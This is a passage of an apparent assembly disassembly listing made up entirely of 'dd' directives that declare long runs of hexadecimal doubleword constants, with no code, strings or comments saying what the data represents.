1C2C8CDFh dd 0ED230034h, 0C566429Dh, 8E2F3E01h, 0DEB6037Ch, 732D8h dd 534C2B36h, 60F01F6Bh, 8100DCB8h, 0BDAC1721h, 7AB8C4CDh dd 0FCB0A0h, 5331A6BCh, 0EDCE3257h, 0E1AE5805h, 0AC80D1CDh dd 1608B3h, 39EC765Fh, 0AD61FCBh, 0A78F6E00h, 0DB8107B5h dd 0F4410018h, 9B1234F1h, 9C0031DDh, 73B5BDA9h, 0B700EC7h dd 568A2BCh, 0DA6DF860h, 137A0F03h, 0F8E4F2FBh, 0FD8092h dd 410CA268h, 0EDDF258Bh, 0E5C30F00h, 0AF08C1E0h, 192E0027h dd 0EE33227Ah, 0C008FDEh, 931A0BA3h, 0A487CAh, 65208B5h dd 30AC814Fh, 0E00C2490h, 7A6E4A5Dh, 1A9E410h, 16963767h dd 60ADD433h, 84012984h, 4809B46Eh, 92C8208Bh, 0FD4B009Ah dd 0A9148F59h, 2C1F73A4h, 3A00D162h, 64AC71BEh, 4DE90077h dd 82803DD7h, 1500E5A9h, 84CDC0D8h, 3FF2D486h, 0DCAEBE11h dd 0B21E4Dh, 0E817A8B9h, 0D6043C50h, 3965D094h, 468E6980h dd 64B900CBh, 0F216054Eh, 0FB506860h, 311E44CBh, 2040976Dh dd 55708361h, 7B947553h, 35ECB6h, 5A3F2D56h, 5DCAF12h dd 0B5E44F01h, 3EE55838h, 0A5E82C80h, 0D880D6CCh, 15001973h dd 0BFC59327h, 96EB33h, 44509725h, 22CC8BE4h, 20A85150h dd 0B28EBB14h, 0D9630978h, 57FC0FFCh, 2E670800h, 4E6549h dd 4FA10D34h, 0D2793AA6h, 0D4053600h, 6E5A0A97h, 1C109438h dd 68C24184h, 78AEB840h, 6A46006Ch, 0CDC5EE23h, 1657FADh dd 813DAADBh, 80BD9D6Bh, 0CF30F818h, 77F27A5Fh, 4A180425h dd 0B016682Bh, 580026E4h, 6B8335FFh, 0F81385h, 33B4869Dh dd 0A938101Ah, 0FA4B9E00h, 8072E575h, 914100CBh, 0E456284Ah dd 20000125h, 0CEC71CAh, 3F73A766h, 8F0053C9h, 2F4741F3h dd 9600D19Dh, 0C15E5144h, 1A51468h, 0C6496207h, 87525D86h dd 6EA0A3D1h, 0C9179220h, 832C004Fh, 3A93011Ch, 0C43FB4FEh dd 1BD080D9h, 5902112Fh, 0AF5A04B1h, 80D4F6DBh, 7146E08Bh dd 55CC3D00h, 34A64DF0h, 0DAB90093h, 44D42D48h, 8A0022CDh dd 8C638838h, 767E421Ch, 196D3D1Ah, 0C9DC3E00h, 0FD45781Dh dd 5C23416h, 0E82A1083h, 4CBF7622h, 0FC006D1Bh, 0B7C3E65h dd 0C6589C4Ah, 0A1380222h, 0E0C0E025h, 3C5BD4C6h, 0C800065Ah dd 0D489291h, 7600B47Ch, 0F7AF2439h, 5C862CB8h, 0A1001B7Bh dd 0F664EC9Ch, 87072DE5h, 281C06ADh, 0FF50AEE0h, 7C9CC8h dd 29C2F49h, 0AD2696CAh, 3D4833h, 20516682h, 750EF99h dd 3D8D110Fh, 71C1507Bh, 0ED00584Bh, 0DCA654CCh, 985D1E65h dd 8BCB0038h, 5EF0F737h, 0C10CAC16h, 404D9438h, 5C582EE2h dd 0D3E70018h, 0F3B4040Ch, 83AE7E00h, 755511CAh, 85A70077h dd 69E48749h, 530559D2h, 91B48323h, 1E575BC0h, 0BA200017h dd 703D9862h, 9F03E356h, 7BCE2BB4h, 2607F5Eh, 2E7A096Eh dd 0DBC0EEC8h, 500C48FDh, 90823711h, 5A2B00B7h, 7BA65324h dd 9A3FDAABh, 5D000D8h, 67F15D0Ah, 0BC970051h, 779AA26h dd 0E705B929h, 0CE8B9430h, 4E8C9C02h, 0CA9BE09Dh, 0D769002Eh dd 0FAF20F18h, 0A718785Eh, 28604FD4h, 0F671D0h, 0AD726E41h dd 0E161BBC1h, 1F0596F4h, 91406979h, 0F04C6C0h, 1ED10084h dd 44FC012Bh, 9A003521h, 0B39BAD07h, 2EE764Dh, 1C0FBBEFh dd 60F05D47h, 9C4F9E02h, 704A6F97h, 0F91F005Ch, 8C54A9D2h dd 72006A45h, 7AA796B3h, 0A359157h, 0C807A308h, 241CE0h dd 9F51AADEh, 0AE00978Eh, 424DC647h, 13012A5Bh, 0FE1F3Ah dd 26414D8h, 1C1E4F6Dh, 0AE8B91A4h, 5E000B1h, 0F8738C3Fh dd 49700FC8h, 0EF2C046h, 0D9B30E74h, 6EA8501Ch, 1A0A0986h dd 9450B996h, 79C9873Ah, 0E2743537h, 0D83360C0h, 4D14779Bh dd 2100741Ch, 47E4FFAFh, 0F9EEB6D7h, 0CF37A000h, 30B7FA63h dd 9F9100DCh, 0C41D78DFh, 0C3183E64h, 32E88269h, 7C7678DBh dd 7EC2004Eh, 2DDF411h, 9500FD2Bh, 0E0AF0646h, 4822713h dd 72F55891h, 0FED8B022h, 62789F00h, 0EE642E7Bh, 13A40059h dd 810CAEA6h, 0A3039496h, 1EBC6E34h, 25F8010Bh, 0A0EB7C7Eh dd 359860C3h, 0D4314800h, 3E43A88Ch, 727B004Eh, 0F9EE6365h dd 0ACFC4690h, 7E00BCE0h, 421F39FDh, 0E060BDCBh, 0F3E2671h dd 9BF50BA6h, 0D7614C00h, 0F81E5A0Eh, 7CC0A119h, 0D858CE51h dd 90D10049h, 1853370Ch, 0B82EA80Dh, 4001E9Bh, 67BEC940h dd 95CA0597h, 0B06218A5h, 5400AC04h, 0D1486092h, 10509E1h dd 0D81F5EB2h, 2EFE4BD9h, 0B830C6B1h, 0ADE66Fh, 5B5E02C7h dd 0F76DB34Ah, 0A3654200h, 10F9915Dh, 74E32EE1h, 99001E8h dd 0FCFB83BFh, 6C6064D4h, 0C08A2D98h, 0A114000Bh, 58F559C1h dd 4B01D62Eh, 0CB41A380h, 9AC10A57h, 0FC1A43D4h, 0F0810335h dd 42BAFB6Ch, 0C6A620C8h, 0ED67800Bh, 7BFB813Ah, 16D09635h dd 0BC9300EBh, 1985F0Eh, 0AA0052BAh, 0A5BDA6ECh, 0E6CD5785h dd 3EF3F01Eh, 0D69FB5A3h, 15AC01BEh, 0F4AA4A8Fh, 392EEF50h dd 620ED466h, 50009270h, 45CCDF16h, 34784Bh, 99144EE4h dd 764C81C8h, 353E1AFCh, 25A60E28h, 78B8601Fh, 14FB966h dd 2708A2DAh, 0D082A43Dh, 0F0972F33h, 568725B9h, 0F80D30C0h dd 67741260h, 60B2E3F2h, 2F151688h, 8F3C5713h, 0B65D00A9h dd 0BE694C66h, 18D80E6Eh, 1201F365h, 60B42104h, 100497BDh dd 81A305B7h, 0B0C31880h, 91C40EECh, 34C0C594h, 212C857Bh dd 5A00FC7Dh, 9D52B862h, 7CC8C147h, 0EE2800E2h, 0D7D5F5B2h dd 2E00BD49h, 0D452C3E4h, 79DC75C6h, 7744F8FBh, 33B0B8C4h dd 0F1893915h, 287C6BA8h, 17B59248h, 0B001F8AEh, 0DB41A2FEh dd 40876ECh, 5EAB3972h, 808C805Dh, 835D4D2Eh, 0C2E907D0h dd 7350D3DEh, 0C28D053h, 0F935A902h, 360F0B48h, 0A01C969Bh dd 880C7443h, 5DE00007h dd 49AAD5Fh, 0B9001F0Bh, 0A276A32Eh, 9069C17Ah, 7DFD005Ch dd 0E032D257h, 22739736h, 0ECFEC400h, 4645B1B2h, 0E890049h dd 43B42DC8h, 0E60134CEh, 0EDC7F076h, 54291425h, 0E59A057Bh dd 84B5B7h, 0BA5193B0h, 367F172Ah, 803B9CCEh, 50183A77h dd 45AC0CFBh, 6962CE90h, 60CB8A3Fh, 6D0FB738h, 52F27Fh dd 2C0BC68Dh, 181D3F5Ch, 11004474h, 6292F110h, 78A7A46h dd 0A156FAC1h, 1F9160D2h, 0AB3ABF5Fh, 0A40883FFh, 0A0707743h dd 4D2D45h, 6C508DD5h, 860DC8EBh, 7151CB01h, 0B2E459C9h dd 32EC60EEh, 962200B1h, 351395E6h, 3E78413Ch, 0DF009CB8h dd 6BBAF259h, 0ACD011h, 0A1A2B75Ch, 0EFD3D941h, 548E0100h dd 4702C5FAh, 283D0ED6h, 0BD03C4CCh, 40B74CFCh, 37D20BA4h dd 0FA45B208h, 178E8296h, 81189848h, 0A3C00025h, 6569B2C9h dd 0C50033CFh, 43B08B4Eh, 0F4151Dh, 774AF805h, 9CBE14FCh dd 0CDD3D600h, 9B7F6592h, 0F5450099h, 0A98DA0C6h, 0F71203Eh dd 8BB60D00h, 0D63FCD91h, 5589CF5h, 879C6C5Ch, 79658348h dd 0B6F361E0h, 0A015E52Dh, 87757BB0h, 1D1B4A5Bh, 96023D78h dd 1126B589h, 7C9EC0E0h, 0A64D1700h, 42D9DE10h, 7E8F0095h dd 4C04E937h, 4400FBBAh, 0C1297064h, 7B9E23h, 0E166F1B4h dd 0E6EFE97Ch, 3F7EBE12h, 0FDD06CE1h, 0EE2C2C31h, 35858074h dd 228E2484h, 8F9C463Eh, 0E08FA045h, 525FC31Ch, 3A27002Dh dd 0A9592E8Bh, 0B475ADC4h, 0E3B1D21Eh, 4120E0Fh, 14E81BF6h dd 30D5F715h, 0AB72BC80h, 0AD69F243h, 0B3A880E9h, 749849Bh dd 0A58B5741h, 64C2DE17h, 57C014D7h, 52000D3Ah, 5943FD86h dd 0D8A149h, 0F8ABF531h, 0BF5DBA97h, 0D2881B00h, 0A61C29Ch dd 32F3007Fh, 46E23F2Ch, 1158FC5Eh, 0F69E3C6Ah, 80DF2238h dd 33907F9Fh, 0ECA1D0h, 0F5B1C668h, 700E572Fh, 0F3C92A05h dd 0BCC07E28h, 3F179125h, 9B804E8Fh, 92F9F8FBh, 1C982185h dd 5E760800h, 6728F5A6h, 29DA009Dh, 0A59C2578h, 0FBB0D136h dd 35863Fh, 9B88FA59h, 7815B9Fh, 8A10B5A4h, 0E77144FEh dd 27898558h, 0FC9BAC44h, 5116A3C0h, 45C500BFh, 287453E0h dd 34797C7Fh, 69560D00h, 70FAB467h, 418601E9h, 3AFF77CFh dd 9B5D4F6h, 1273F200h, 8B815CFEh, 239400D7h, 406E06Eh dd 0C9001CD4h, 8A64982h, 0F963Ch, 24DD9FF7h, 2D76D5A1h dd 0D0BE8026h, 7099F301h, 0C283DB9h, 76EADC07h, 5849C0F6h dd 527B0BEDh, 0E734D509h, 716E84FAh, 1A8A2480h, 2E84009Eh dd 13B4881Eh, 0B7031DEDh, 0FAA3A9CEh, 0C0F6BB54h, 9D2156h dd 23A636C8h, 773AC4B1h, 0A98338h, 0A7ED8A2Eh, 120A27FBh dd 0B09F09F9h, 80957496h, 0EC06D33Ch, 0A2B500FAh, 18F8CCB6h dd 0AF071AB7h, 0FEE2ADBEh, 0A1C4A6B1h, 0A9C8E0F7h, 0D4F600D1h dd 7EAA70DEh, 6398D2B9h, 30502E76h, 5C0F16D8h, 8692E71Fh dd 4A049F4Fh, 0E15880D4h, 0E2128BC8h, 0F480F73Bh, 1640CFh dd 0F68707FCh, 0D90A0D7Bh, 0A3715600h, 0E189EDD0h, 46EE3Ah dd 6948A927h, 8AAF54C9h, 981E5A00h, 0E19D93ACh, 0F31F035Fh dd 0B84DB197h, 0B098C0E4h, 48007C27h, 2EB486C5h, 9E2BD0h dd 66029BF7h, 0D894DD3Bh, 70B9F102h, 48545530h, 6D6BC4h dd 215BE59Dh, 3A91A5EEh, 88418CA0h, 9A98612Eh, 56C87800h dd 3EA99F1Bh, 0F94C549Ch, 0B9FB9206h, 7B0070D0h, 90D2D8C4h dd 1663B2Fh, 9E6088C8h, 2F5D024Fh, 6A524800h, 7CD408E5h dd 4130BCDh, 0A8009E7Fh, 7C3DAC53h, 9CEC5D3Dh, 5C80F7B7h dd 408B99F8h, 5C66B831h, 0AD000C8Ah, 0B66A4796h, 0B71C680Fh dd 90F5E434h, 0D5005B85h, 0AF8AC29Fh, 0A83D007Bh, 0BA4294B8h dd 5090CC48h, 7F502100h, 0B94AA635h, 0E1A200CEh, 5EDFA8D1h dd 2530A036h, 0C8EA688Dh, 0FF9005Bh, 8B4CC035h, 0ED0E1023h dd 45D79F14h, 8981694Ah, 54F45FF5h, 0BEC50089h, 52033FC1h dd 7B3CFB6Eh, 7A0C02A0h, 4843C812h, 59149Ch, 769CDF35h dd 587CF882h, 2C7F5300h, 66BD3C9Fh, 8AFA00CFh, 0F59A24B2h dd 0D97C3964h, 21453B00h, 65A8D604h, 9C3A0792h, 50C12353h dd 0B21D594Ah, 0E0001471h, 0B121905h, 12A6FD9h, 9641E97Ah dd 0FCF2D479h, 0C50F9CAAh, 27AC275Ah, 5001187Fh, 11E4FA92h dd 26470017h, 12CE75A5h, 6D0073C1h, 9A7AE20Bh, 0ADA339h dd 1C52665Bh, 60A778D9h, 80E55800h, 190AFD4Ah, 0DCE0EBDFh dd 0F37E425h, 99E0C820h, 0B802BA05h, 220700F7h, 21FC3BBCh dd 60550127h, 0B1FDFE2h, 741A60F4h, 0D933B50Fh, 382E20E8h dd 29EACCh, 247E5CEBh, 0AF2C5EA0h, 0E3DF5700h, 2F8BD76h dd 64B5007Fh, 40B64209h, 5E0144F5h, 78FB0635h, 0CBC0C5CDh dd 43A800F6h, 0FDAC3E46h, 60DDE2A6h, 1F41975Eh, 0A078EFE5h dd 0A21670h, 0F69C2FDFh, 222BE083h, 0EB0024F4h, 54046C07h dd 0E82ED5h, 0FDF585D3h, 6E3B8430h, 80FC743Dh, 2A7D5E26h dd 0D43683h, 322844E2h, 24E1C8D0h, 48537703h, 0A019A0FCh dd 0EAEB915Fh, 660A1DB1h, 79298770h, 0FC6EA4ACh, 0F9280128h dd 1B889640h, 0C5B2F0h, 1D8FE02Dh, 3FD4C7E5h, 0BDA1EB00h dd 0C9F35EE8h, 0EAD3A84h, 0DEFD8080h, 38FB44A9h, 80C27439h dd 0F19A7F21h, 38D35DDFh, 0C680D627h, 0FB0B3661h, 0B9005ABDh dd 45B5AF71h, 0EF8F08h, 743C5F92h, 9D018D66h, 24398700h dd 0BEA8F551h, 0A32A03A4h, 9897B465h, 86FE4FE8h, 0F3E01703h dd 1C6C57B8h, 0A642B038h, 9F0F0BE3h, 7EA50E00h, 0C072E7BCh dd 1B308060h, 357822h, 4C34AD16h, 0ECFDFEF1h, 0C864EE1Ch dd 294B8E00h, 994348h, 7414426Ch, 0B1C2DA51h, 26E01A00h dd 0D5D2A4C3h, 270928C0h, 0CE7100B3h, 0CA3D064Fh, 1100A70Dh dd 561A324Eh, 0F4D79A23h, 0B1FB1F69h, 0EB484025h, 5DED3E6Ah dd 8F900500h, 0CE3391ECh, 0B5B078h, 6048AE25h, 96977CE9h dd 5150AC00h, 8D9BDF4Ch, 4A471674h, 23140191h, 20AC194Dh dd 46002D75h, 0EFA82E15h, 1009ECh, 41B289D4h, 0C7FA8BD8h dd 80975738h, 20F1E69Ah, 26F217B8h, 0D5566h, 0C3FDFAE9h dd 303DCD7Fh, 0A6030062h, 0A4C68540h, 616939BFh, 0F47CA980h dd 0D53C28D3h, 47474C2Eh, 339F8903h, 4B59C0A0h, 213A00FAh dd 291197Bh, 0AC001A0Ah, 6FF483FCh, 1293F599h, 0DE5330h dd 37A2DD60h, 3C3BA578h, 7C6C00D7h, 51913A93h, 0EADF0FADh dd 52207F1Bh, 2101327Eh, 0A001A572h, 9DD0B146h, 0F0FC44A8h dd 0B86801DCh, 0E8EB5166h, 0F228E45Ah, 0C10DE703h, 0E8BA7C4Fh dd 0FD0F50h, 0F36905E4h, 2331B53Ah, 8438CE71h, 9FBD00F2h dd 0ED3FFA14h, 0E21501BFh, 0D672AE16h, 76F0DCDBh, 24C93026h dd 0C0FF5400h, 22E6A4h, 131F332h, 0D5958DFAh, 0A0CFB51Fh dd 6DEC480h, 78E14Ah, 68E88F8Bh, 0F7D8D139h, 0C981BA00h dd 11B004B3h, 6E556FFCh, 0D5977567h, 4DEC80FDh, 8B009AB7h dd 6E0CC28Dh, 0E3C311h, 5F884A86h, 7CC6C099h, 73E4D02h dd 55B7C1D9h, 0DC0CC7E0h, 0E775FB00h, 0A516CC9Bh, 8EDA002Ah dd 82BAE827h, 105A026h, 0CB34E2B0h, 40D77B80h, 0D961003Bh dd 1BE391EDh, 0C30168E7h, 0A4DEAF10h, 60F8DFF9h, 0B1AE006Fh dd 0E1032547h, 8107E54Fh, 0BB1A4EEDh, 6258AD90h, 40F760FAh dd 0E1A5A038h, 21F4A400h, 1A0EEEDFh, 0F8AC313Fh, 2044CD20h dd 6000469Dh, 0FB6C936Ah, 8D34D2h, 2B363F59h, 5CD57824h dd 0A16E0D02h, 60F4B2F1h dd 0AA88C0h, 5BAC891Ch, 8423BA4h, 0A91CE8E2h, 0D98736A8h dd 0A010AEA3h, 0DABCC2h, 0F8C81305h, 4767F6DBh, 8C42F51Ch dd 6021EA40h, 399569A3h, 9C802563h, 0AE84F46h, 0D17CB0DCh dd 7C005175h, 5509724Eh, 1BEEC38h, 39B4342Dh, 0C0325CA9h dd 0AA0F6B5Bh, 0E06F7E92h, 0F1D234Fh, 0B1584CA8h, 0C77BF31Fh dd 70BDDED6h, 0EE56861Ah, 2841E300h, 2FC240A2h, 8EC0062h dd 0E6FD8E63h, 49642118h, 54C0F372h, 993060h, 8EA48ABBh dd 6AA2BA80h, 70485C01h, 57505BA3h, 4A6DC8h, 0E3EA343Dh dd 40100447h, 0EBE6601h, 0E876DAE9h, 7D95F4h, 57415645h dd 0AE32B96Bh, 8AEB5000h, 73F6D015h, 98710EFAh, 6A4044ECh dd 0EAF9C9EFh, 0A928BEE2h, 0AE00DC10h, 7B7EAC39h, 2576329h dd 0CB892EEFh, 8EC0FA32h, 5A03EC07h, 86859A14h, 92BA0FE5h dd 0ACE0D8F8h, 637CA52Ah, 48817F00h, 2BB30618h, 0AB70070h dd 0E02A44DBh, 2907851Eh, 0A2D90D7Dh, 8C3D0390h, 0A1503F58h dd 44777800h, 92C3CDADh, 202C4300h, 9A497017h, 735600B3h dd 956683A8h, 4600DC7Ah, 2EE9A2A7h, 1C98A18Ah, 0FEB4DEh dd 0AAD3330Eh, 0FF003EC4h, 0D6954A6h, 260276Dh, 115A5FFDh dd 6B411021h, 39FD20CAh, 0A73B5700h, 89F53782h, 887015h dd 0B331E72Fh, 10E5A665h, 11C0648h, 0B78D2707h, 0D2EC59B5h dd 0BD9600DCh, 26F4AA86h, 0C501670Bh, 0B94C8B46h, 13E8FCBFh dd 0D6DA0095h, 76E78599h, 91005D3Bh, 374DE9E8h, 50E1E0h dd 64C63EFFh, 586C34DCh, 5F7B4800h, 4F2C4E79h, 462507ACh dd 0F08F66E6h, 55E9D3F7h, 0D000F077h, 1D3F775Fh, 0D20BFh dd 4584F4DCh, 0E6390340h, 623AE271h, 91510071h, 88A03BAEh dd 75CD09B1h, 14003E1Fh, 65935776h, 0C47D4C01h, 0D672EA9h dd 0F67E0820h, 429D00C2h, 5F5B3A8Ah, 20F8CF9Eh, 223BFA03h dd 0F840BBA6h, 1E8E0E24h, 402326A9h, 6DB0DAA1h, 0D1F0C1BCh dd 0FAA34000h, 75E5AFE7h, 0F905005Ah, 1B4312FBh, 3E075907h dd 4BD976C2h, 4499D450h, 64020C0Eh, 940A03B4h, 1CF9CB00h dd 16F63B5Eh, 79297759h, 2CEF0F7Ch, 300022Fh, 57B76AE6h dd 0F2BC6604h, 0C0C0E475h, 1B99D1h, 18F9E83Dh, 4A9D625Fh dd 8971F613h, 0D8FB7700h, 16AED52Ah, 7288C8Ah, 0C070117Eh dd 1E1C58F8h, 0A20E0F7Ch, 0E04293F3h, 17C1F9ABh, 7E0D133Dh dd 0B92401C5h, 80EC121Fh, 0A0AB9670h, 2BA399Ah, 0E636469Dh dd 0D040F175h, 18504F04h, 0E289E314h, 0E03674D0h, 13C430BBh dd 80983C21h, 128F61C0h, 0C189F3h, 0F19EF7BAh, 0E318142Ch dd 655E4502h, 803E605Dh, 2F3CBED9h, 2BB203E2h, 9F4589EFh dd 0B6DB7198h, 0A9E461Ch, 1585DE80h, 11A697Eh, 9DD304C2h dd 40880F45h, 0E99FC738h, 0B38289DCh, 409745A0h, 75C024h dd 0BB93F85Fh, 0D3B0CD63h, 4716DC00h, 8B9D5391h, 7D223351h dd 0B87B6749h, 6C02B928h, 0F6832403h, 0D188914Fh, 46F8AF6Dh dd 0D4D3395Bh, 20858E83h, 0DDF0845Eh, 8777668h, 23D1D200h dd 1D9CA0B5h, 9B5B03E6h, 1457E55h, 0BA12A5A0h, 20747A02h dd 609461DCh, 4CF2F0h, 5EA88B30h, 0D96ADA0Ah, 0F4860600h dd 0DB74552Fh, 820E00F0h, 16A70339h, 4E0F9EFCh, 0F82E83D6h dd 0DE24C1h, 0D2C2A1D8h, 82B9C1F7h, 0ED59EE74h, 74E21220h dd 40795800h, 0B4D70FFh, 7F731622h, 75FC2180h, 9E00FBA1h dd 0F72D81C1h, 0FD7E6CCh, 0C9669368h, 14A43881h, 0AC7891ECh dd 94D46380h, 448CAAC1h, 753AF9DFh, 685D00D4h, 0E985FCCCh dd 0EF8E03BCh, 1864A79h, 0F7042803h, 0E68448DDh, 0EDF239h dd 0AD7F5DC1h, 10A59B15h, 0EF857003h, 0A26E13E2h, 0E0544BFAh dd 3FC829ACh, 80097846h, 10034F68h, 2026CA89h, 5200E3A6h dd 56A1879Bh, 357903B8h, 0A03FDB42h, 8D9A8104h, 0C9011291h dd 877805C0h, 564FF478h, 0D64C0DE0h, 3E8C018Eh, 1B9EF2DBh dd 62E3F409h, 391E7C00h, 0BBE5D53Ch, 0C8B070h, 0FD8B1033h dd 988C29BEh, 89B2FC00h, 5DB066DCh, 0E975006Dh, 0C0560CEEh dd 4B073348h, 9D13DEC3h, 9C1B47E0h, 0BAD90063h, 97DA0D34h dd 2803E3D7h, 0C269AE53h, 65C3EDCBh, 0EE07908Ch, 365E0016h dd 0A7D9D268h, 51B04D7Bh, 170024FAh, 0D7B351FEh, 7D184D3h dd 60C2F56Bh, 255C435Dh, 13203Eh, 26CC53D6h, 1E1423B8h dd 92E85FABh, 45BA0203h, 0C8C03FD2h, 0E67C6D2Fh, 643671Fh dd 0E0401E1Bh, 0E95B858Bh, 0D431108Ch, 16071F44h, 0AEF2DF68h dd 450238A0h, 0E2750F9Bh, 4080837Fh, 67A78D4Fh, 9FFCEF00h dd 532519F8h, 54C00CF9h, 0A8104713h, 780E3900h, 1114AE5h dd 635C0042h, 144DDCE3h, 1F00D441h, 3BFB664Eh, 538EEFh dd 31289472h, 10C422B1h, 0A013C98h, 0B9C5448Ch, 1F20F32Eh dd 410E0085h, 0A94D0275h, 937D4B07h, 9DF86239h, 73C001CDh dd 1096633Ah, 0B40A07CFh, 0F39B2D6Ah, 3EE03CA0h, 61F7C03h dd 3BAD3B5h, 0A9010E8Fh, 41F3F0B3h, 8E9816E4h, 9B65000Ch dd 9403AF71h, 11290F60h, 367FCC5h, 0A50917B0h, 4BE08E58h dd 9610DE07h, 61001015h, 2BFFF155h, 712CB254h, 303A2D8Eh dd 0FCB821ADh, 0B15F00F1h, 2354871Ah, 0CD0038D3h, 5606DFE9h dd 9A36CCh, 9479B6CEh, 5DCDED0h, 40010F31h, 0F1C31530h dd 108B0C27h, 0DB046AAEh, 130381C0h, 9D0980EAh, 0CE8F2A63h dd 364B0004h, 73F1D72Dh, 0E100D26Ch, 0F32B98CAh, 67AFB58h dd 2EEE0A06h, 0D0C4D8E4h, 4F309728h, 2B1051F1h, 0B7C8B484h dd 0F1FFD287h, 41AE7990h, 0EDAF004Eh, 0BD140916h, 0B8A03425h dd 60EEF8E5h, 152FB400h, 0ABE6625Dh, 95DD4CA8h, 83AEFE03h dd 0A1D83828h, 0F501974Ch, 6AB090CFh, 0F860F292h, 641900B5h dd 0D6DF6955h, 14039B79h, 59A02953h, 4260874Eh, 36648A9h dd 0C8DFF4E2h, 6F822E4h, 93006F72h, 574EBBA5h, 420BDh dd 0C288A727h, 0E66AE77Dh, 5E003277h, 989BCA5Bh, 0A20F57h dd 0CD3FDD7Ah, 6F1EB74Bh, 407DF78h, 0FF984C37h, 46F2C200h dd 25EB2CB1h, 0E5610097h, 8519E3B2h, 0F36DDA1Ch, 4021CF40h dd 2DF11Fh, 281DBF04h, 6D700272h, 0C5C7E000h, 38DC1AC8h dd 16A100FCh, 861B8033h, 38C12BEAh, 83854D17h, 0ACCF20h dd 0E2FB8DDCh, 237256F7h, 0CE619907h, 8E3A1F43h, 27746830h dd 0A42E0960h, 945081E3h, 663E8D00h, 0E02DB3FDh, 0F7101843h dd 7EE599D5h, 2000F6E0h, 745A8503h, 5870B79Bh, 0D86096E9h dd 8DE21040h, 0EFE04F0h, 3E4A13Fh, 30414CE7h, 90F4E01Bh dd 0A8B40610h, 5852537Ah, 48002C7Fh, 8E4A3C8h, 6628EC9Ah dd 0C21451DFh, 331DD900h, 0F5855DC9h, 0EA250043h, 0A315FBD5h dd 80F0442Ch, 0A82A6530h, 2F1907h, 726DB356h, 3728DFA9h dd 0E92C5B00h, 192088BBh, 0F1902A91h, 7F67789Ch, 2F4E008Fh dd 78B14B21h, 2300CE06h, 70B8CB56h, 72C146Ch, 5108B29Ch dd 4519D024h, 0C10032E8h, 0C58390B4h, 1C6763Ah, 8BB3F630h dd 4052FA1Ch, 685C99D2h, 0EC7E5Ch, 0B3FF2A47h, 1226E97h dd 84B6DFA2h, 0D099660Fh, 0B50049F6h, 0A4CCC711h, 3A9C06h dd 55AC989h, 680DE3E7h, 0F5305900h, 71D11B95h, 510B006Dh dd 20C9A773h, 2200BFACh, 5DFA612Bh, 367772h, 768C55D8h dd 3914FF3Dh, 5101EAB8h, 0BC53BA59h, 28701136h, 0F93B00A0h dd 0B68E9B4h, 0FC004375h, 0E39D7A0Eh, 0CD0A14Dh, 295814CAh dd 0F220A871h, 0FA070021h dd 3CB2B353h, 0F80534B8h, 0CD4B9E8h, 0E0C01484h, 4D739Ah dd 0B2C0BB04h, 0A8012B25h, 67223F1Eh, 0DE07A868h, 27B1E50Eh dd 601CC6h, 645FFCBFh, 196BDC83h, 3C0BB300h, 0D118B202h dd 1A383009h, 0F8D6D3F0h, 0A06E2A02h, 0B7A210D4h, 83080204h dd 366D8Dh, 0D470928Bh, 5D6E2B68h, 16B9F110h, 4A816580h dd 0D42CB4F5h, 8C18BC49h, 0BD1BC139h, 0AD38478Ch, 1C18A0F7h dd 0CF00747Ch, 0B3DD1334h, 626061CDh, 6D80D13Dh, 0EEF5500Dh dd 6C7B3186h, 3483996Eh, 70917918h, 0A06E0D18h, 6389341Ch dd 75C9498Dh, 509BD3FAh, 334E045h, 2968DC60h, 91C00410h dd 190425F8h, 814B754Ah, 6AC99858h, 0A4D29609h, 0C5C141Ch dd 33AB463h, 180CEA2Ah, 10F634E9h, 4CA18F18h, 0ED409488h dd 3811DA24h, 157550h, 38B06C27h, 5B766F77h, 0A7503CECh dd 2E0F0770h, 0F193A1Ch, 81D6062Ch, 421D008h, 3C45F0EBh dd 0E010C4B5h, 0D0B08913h, 4000C788h, 7BCB61AEh, 0C2E79D5h dd 8906BF17h, 9B03E141h, 8CD2A6E2h, 868B6Ah, 3B5D1F18h dd 0B1CB6F3Dh, 0DC247492h, 0F2861891h, 1D49D689h, 771F39h dd 0F81445FEh, 7012CCC1h, 9C12A9C0h, 3DA53000h, 783B350Bh dd 94770050h, 53F5C47Dh, 0E1002B18h, 0E011969h, 0F6324C4Dh dd 326009Dh, 147F468Fh, 601F3164h, 0D0803670h, 123B3971h dd 46760110h, 7CE38273h, 3E80EC50h, 13D660C0h, 0C0CA660Bh dd 4416F108h, 6103640Ch, 0CFDD5C62h, 8481889h, 3215083Bh dd 44EBE600h, 0C77A6109h, 0F1540056h, 392321DCh, 4E01EE4Ah dd 9D8E064Fh, 8080CCB8h, 604D8285h, 0D9D6E87Ah, 0FCD9B5A0h dd 2A8406BCh, 0E97F7909h, 8BF3F23Bh, 603506Bh, 892947h dd 404F5C4Eh, 567B0E2Ah, 0BB38D4A0h, 880CEAF2h, 28D0B497h dd 3684E2ECh, 0C0682456h, 3237A907h, 0D9909B9Dh, 3E51661Bh dd 58FAFCCh, 85633911h, 69664456h, 0FE088BE1h, 50FD00DCh dd 5118E715h, 7700F4DBh, 0CC4E408Eh, 1823ABB3h, 58A30346h dd 0D21FE351h, 6540C073h, 617A98EDh, 0A2C5005Bh, 0A6814AA7h dd 0D103D0B8h, 6A9603EBh, 9BFE907Eh, 0DCE803FBh, 8AA6C541h dd 8F5312C0h, 348CC000h, 5448B68Dh, 0B90803DCh, 4BA0279Ah dd 0F653DC0h, 0E58FD401h, 0E60AC218h, 1DC53D0h, 0FCC77BE3h dd 80E12A6Fh, 200F4E21h, 0C2D01Ch, 0BEA34BD3h, 3189373Ch dd 534C561Fh, 0E3BCFB97h, 79809C3Fh, 60D20EC3h, 2B00A286h dd 10E35B57h, 1B08D653h, 588C85BFh, 490CB398h, 0BD68CB06h dd 0FD097C5h, 244873CCh, 8CDA839Dh, 0FC06A63h, 64674593h dd 797057D8h, 33533Dh, 0E377568h, 0B20A91BDh, 1C2C01Dh dd 0DD620620h, 0C8E85235h, 8A4A7905h, 90011155h, 0B6342565h dd 56B843h, 7B92D3E9h, 0B086F811h, 77281660h, 59CE982h dd 6EA7DA4h, 0D08C2883h, 0D3DD0801h, 3DC98CCDh, 2003B703h dd 29DB253h, 983001BFh, 0CC29D516h, 88A6CB8Ch, 79500F14h dd 0B0350CE0h, 0A01E2854h, 281CF288h, 44C8C69h, 85F80DC6h dd 63C058D8h, 34F0CC8Ch, 0B000F891h, 0FB6A8DF9h, 0FA0B750Dh dd 5B7100ABh, 53EB040Ch, 41DBD38Ah, 2188D8A8h, 6DB824C9h dd 62ACA000h, 17992842h, 94A5D2Eh, 4A013CC0h, 0D62DD67h dd 